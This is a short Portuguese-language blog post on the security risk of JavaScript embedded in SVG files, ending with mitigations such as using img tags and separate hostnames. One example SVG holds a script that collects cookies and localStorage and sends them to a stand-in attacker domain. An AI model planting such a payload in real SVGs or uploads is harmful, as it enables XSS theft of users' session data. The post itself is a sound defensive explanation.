Os SVGs são uma ferramenta incrível para criar fontes personalizadas, animações, gráficos com tamanho reduzido e muito mais. Eles são parte HTML, parte imagem, e tudo isso é incrível. Muitos sites passaram a usar SVG em vez de JPG, GIF e PNG devido à flexibilidade que o SVG oferece.
Qual é um exemplo dessa flexibilidade? O senhor sabia que é possível incorporar JavaScript diretamente nos arquivos SVG?
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
alert("Hello world");
</script>
</svg>
Esse é um recurso interessante, mas também um problema de segurança se for incorporado em uma página como está. Por exemplo, se um usuário fizer upload de um SVG para o seu site com o seguinte código:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
// BAD! Send the user's info to your website!
const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>
… ele poderá roubar cookies, armazenamento e outras informações por meio de XSS. Isso é um problema. Uma maneira de evitar isso é remover o JavaScript do SVG, mas o senhor também pode incorporar como um <img> ou como um background-image via CSS:
<img src="https://davidwalsh.name/path/to/image.svg" />
Quando o senhor usa <img> ou background-imageo JavaScript é impedido de ser executado, o que torna o SVG relativamente seguro! No entanto, o senhor ainda deve limpar seus SVGs de coisas ruins e servi-los de um nome de host diferente para não compartilhar cookies!
